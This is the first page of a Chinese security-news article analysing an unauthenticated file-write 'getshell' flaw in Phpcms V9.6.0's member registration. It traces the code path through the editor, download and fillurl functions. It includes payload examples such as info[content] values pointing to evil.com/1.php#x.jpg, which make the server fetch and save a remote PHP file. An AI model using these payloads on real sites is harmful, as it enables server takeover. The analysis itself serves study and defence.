欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Phpcms V9.6.0任意文件写入getshell漏洞分析

来源:本站整理 作者:佚名 时间:2017-04-13 TAG: 我要投稿

 1前言:

据说这是一个在地下流传了半年的 0day ,最近被爆出来了,在会员注册页面,也就是说这个漏洞无需登录就可以利用了,还是比较厉害的。

2漏洞分析:

跟进注册页面之前先看一下默认安装完的phpcmsv9有关会员注册的设置,在member_setting.cache.php文件中,内容如下:

进入正题,看注册页面代码:phpcms\modules\member\index.php

入口点在function register中:

这部分逻辑可以对照上面的会员注册设置文件中的开关项来快速跳过,快进到第130行:

其中最后一行中$user_model_info是由用户提交的info变量(或数组)经过处理后得到的,跟踪下$user_model_info的处理过程,在caches\caches_model\caches_data\member_input.class.php文件的get方法中:

$this->fields在构造函数中有定义,看代码也是读取的某个缓存文件的内容:

变量$modelid在phpcms\modules\member\index.php中定义,直接可以通过POST方式提交

变量$modelid可控,赋值为1时便从model_field_1.cache.php文件中读取缓存配置,跟进model_field_1.cache.php文件,第262行定义了

回到上述get方法里面的$value = $this->$func($field, $value)换一种写法也就是$value = editor($field, $value),其中$field和$value均可控,为POST方式info数组的key和value。

接着跟进editor方法:

继续跟进关键的倒数第二行attachment类中的download方法(注意此处第一个参数$field也就是POST方式info数组的key已经写死为content,所以提交的payload要形如info[content]=xxxx),在phpcms\libs\classes\attachment.class.php文件中:

图中倒数第二行的正则大致意思为:若url不是以gif|jpg|jpeg|bmp|png这些图片后缀结尾那就返回原先的url,直接退出,走不到漏洞触发点。(这个正则取的是第3个括号匹配到的值,比如提交info[content]= href=http:// evil.com/1.jpg ,匹配到的结果即为: http://evil.com/1.jpg) 。

接着厂商又用到了fillurl方法来对url进行补全:

就是在这个地方出了问题,跟进fillurl方法:

注意第300行:看得懂php代码的可以发现问题就出在上面对#的判断中,当用户提交的url中包含#时,程序则只取#前面的当作url。

省略了后续的部分代码,实现功能即将上面url中的http:// 过滤为空,以及将多个/替换成单个/,最终return的url又加上了http:// 。(比如用户提交info[content]= href=http://evil.com/1.php#x.jpg,那么经过fillurl处理后返回的结果为 http://evil.com/1.php,是不是有问题?:) )

回到上面未分析完的download方法,跟进到取文件后缀的这一步fileext:

发现取的是最后一个点之后的内容当作后缀名,结合上面的分析可以得知,此时进入该逻辑的变量$file为http://evil.com/1.php, 因此取得的文件后缀也就成了php。

继续看download方法的代码流程到第171行:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载